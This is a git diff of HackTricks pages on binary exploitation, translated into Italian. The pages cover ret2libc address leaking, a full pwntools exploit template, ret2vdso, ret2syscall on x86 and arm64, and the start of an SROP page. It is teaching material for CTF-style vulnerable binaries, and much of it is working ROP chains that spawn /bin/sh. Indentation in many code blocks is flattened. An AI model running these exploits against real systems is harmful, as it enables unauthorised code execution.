nostra directory di lavoro. -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- Altre funzioni da leak ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- Trovare l'indirizzo libc basato su e sfruttare -## 4- Finding based libc address & exploiting +A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò solo: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +Quindi, all'inizio di `template.py`, cambia la variabile **libc** in: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Imposta il percorso della libreria quando lo conosci` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +Fornendo il **percorso** alla **libreria libc**, il resto dell'**exploit verrà calcolato automaticamente**. +All'interno della funzione `get_addr`, verrà calcolato il **base address di libc**: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> Nota che **l'indirizzo base finale di libc deve terminare in 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata. +Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dall'**indirizzo base** di **libc** e forniti dalla **libreria libc.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +Infine, l'exploit per l'esecuzione di /bin/sh verrà preparato e inviato: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,65 +217,56 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +Spieghiamo questo ROP finale.\ +L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** il **overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\ +Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca in modo ordinato** e non venga generato alcun avviso. -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**In questo modo l'exploit eseguirà una \_/bin/sh**\_\*\* shell.\*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- Utilizzando ONE_GADGET -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +Puoi anche usare [**ONE_GADGET** ](https://github.com/david942j/one_gadget) per ottenere una shell invece di usare **system** e **"/bin/sh". ONE_GADGET** troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un **indirizzo ROP**.\ +Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata. ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` +## FILE DI ESPLOITAZIONE -## EXPLOIT FILE - -You can find a template to exploit this vulnerability here: +Puoi trovare un modello per sfruttare questa vulnerabilità qui: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## Common problems +## Problemi comuni -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can find where is the main code: +### MAIN_PLT = elf.symbols\['main'] non trovato +Se il simbolo "main" non esiste. Allora puoi trovare dove si trova il codice principale: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +e impostare l'indirizzo manualmente: ```python MAIN_PLT = 0x401080 ``` +### Puts non trovato -### Puts not found +Se il binario non utilizza Puts, dovresti controllare se sta usando -If the binary is not using Puts you should check if it is using +### `sh: 1: %s%s%s%s%s%s%s%s: non trovato` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Se trovi questo **errore** dopo aver creato **tutti** gli exploit: `sh: 1: %s%s%s%s%s%s%s%s: non trovato` +Prova a **sottrarre 64 byte all'indirizzo di "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..f1e8bbf3f 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ # Leaking libc - template {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## Problemi comuni -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] non trovato +Se il simbolo "main" non esiste (probabilmente perché è un binario strippato). Allora puoi semplicemente trovare dove si trova il codice principale: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +e imposta l'indirizzo manualmente: ```python MAIN_PLT = 0x401080 ``` +### Puts non trovato -### Puts not found +Se il binario non utilizza Puts dovresti **controllare se sta usando** -If the binary is not using Puts you should **check if it is using** +### `sh: 1: %s%s%s%s%s%s%s%s: non trovato` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Se trovi questo **errore** dopo aver creato **tutti** gli exploit: `sh: 1: %s%s%s%s%s%s%s%s: non trovato` +Prova a **sottrarre 64 byte all'indirizzo di "/bin/sh"**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..ce3b82820 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +Potrebbero esserci **gadgets nella regione vDSO**, che viene utilizzata per passare dalla modalità utente alla modalità kernel. In questo tipo di sfide, di solito viene fornita un'immagine del kernel per eseguire il dump della regione vDSO. +Seguendo l'esempio di [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) è possibile vedere come sia stato possibile eseguire il dump della sezione vdso e spostarla sull'host con: ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +Gadget ROP trovati: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> Nota quindi come potrebbe essere possibile **bypassare ASLR abusando del vdso** se il kernel è compilato con CONFIG_COMPAT_VDSO poiché l'indirizzo vdso non sarà randomizzato: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +Dopo aver dumpato e controllato la sezione vdso di un binario in kali 2023.2 arm64, non sono riuscito a trovare al suo interno alcun gadget interessante (nessun modo per controllare i registri dai valori nello stack o per controllare x30 per un ret) **eccetto un modo per chiamare un SROP**. Controlla ulteriori informazioni nell'esempio della pagina: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..8fe64abc0 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -2,26 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di base -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall `sys_execve` con alcuni argomenti per eseguire `/bin/sh`. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall. -In order to prepare the call for the **syscall** it's needed the following configuration: +Per preparare la chiamata per la **syscall** è necessaria la seguente configurazione: -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` +- `rax: 59 Specifica sys_execve` +- `rdi: ptr a "/bin/sh" specifica il file da eseguire` +- `rsi: 0 specifica nessun argomento passato` +- `rdx: 0 specifica nessuna variabile d'ambiente passata` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +Quindi, fondamentalmente è necessario scrivere la stringa `/bin/sh` da qualche parte e poi eseguire la `syscall` (essendo consapevoli del padding necessario per controllare lo stack). Per questo, abbiamo bisogno di un gadget per scrivere `/bin/sh` in un'area conosciuta. > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> Un'altra syscall interessante da chiamare è **`mprotect`** che consentirebbe a un attaccante di **modificare i permessi di una pagina in memoria**. Questo può essere combinato con [**ret2shellcode**](../../stack-overflow/stack-shellcode/). -## Register gadgets - -Let's start by finding **how to control those registers**: +## Gadget di registrazione +Iniziamo a trovare **come controllare quei registri**: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +Con questi indirizzi è possibile **scrivere il contenuto nello stack e caricarlo nei registri**. -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## Scrivere stringa -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### Memoria scrivibile +Prima devi trovare un luogo scrivibile nella memoria ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### Scrivere stringa in memoria -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +Poi devi trovare un modo per scrivere contenuti arbitrari in questo indirizzo. ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### Automatizzare la catena ROP -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +Il seguente comando crea una catena ROP completa `sys_execve` dato un binario statico quando ci sono gadget write-what-where e istruzioni syscall: ```bash ROPgadget --binary vuln --ropchain ``` - -#### 32 bits - +#### 32 bit ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - -#### 64 bits - +#### 64 bit ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## Gadget Mancanti -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +Se ti mancano **gadget**, ad esempio per scrivere `/bin/sh` in memoria, puoi utilizzare la **tecnica SROP per controllare tutti i valori dei registri** (inclusi RIP e registri dei parametri) dallo stack: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## Esempio di Exploit ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## Altri Esempi & Riferimenti - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64 bit, no PIE, nx, scrivere in memoria un ROP per chiamare `execve` e saltare lì. - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64 bit, nx, no PIE, scrivere in memoria un ROP per chiamare `execve` e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche. - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bit, no PIE, nx, BF canary, scrivere in memoria un ROP per chiamare `execve` e saltare lì. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..c8cdd718c 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Trova un'introduzione a arm64 in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Codice -We are going to use the example from the page: +Utilizzeremo l'esempio dalla pagina: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +Compila senza pie e canary: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` +## Gadget -## Gadgets +Per preparare la chiamata per il **syscall** è necessaria la seguente configurazione: -In order to prepare the call for the **syscall** it's needed the following configuration: - -- `x8: 221 Specify sys_execve` -- `x0: ptr to "/bin/sh" specify file to execute` -- `x1: 0 specify no arguments passed` -- `x2: 0 specify no environment variables passed` - -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: +- `x8: 221 Specifica sys_execve` +- `x0: ptr a "/bin/sh" specifica il file da eseguire` +- `x1: 0 specifica nessun argomento passato` +- `x2: 0 specifica nessuna variabile d'ambiente passata` +Utilizzando ROPgadget.py sono riuscito a localizzare i seguenti gadget nella libreria libc della macchina: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +Con i gadget precedenti possiamo controllare tutti i registri necessari dallo stack e usare x5 per saltare al secondo gadget per chiamare la syscall. > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. +> Nota che conoscere queste informazioni dalla libreria libc consente anche di eseguire un attacco ret2libc, ma usiamolo per questo esempio attuale. ### Exploit - ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..2281cd17a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per gestire i segnali. -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di 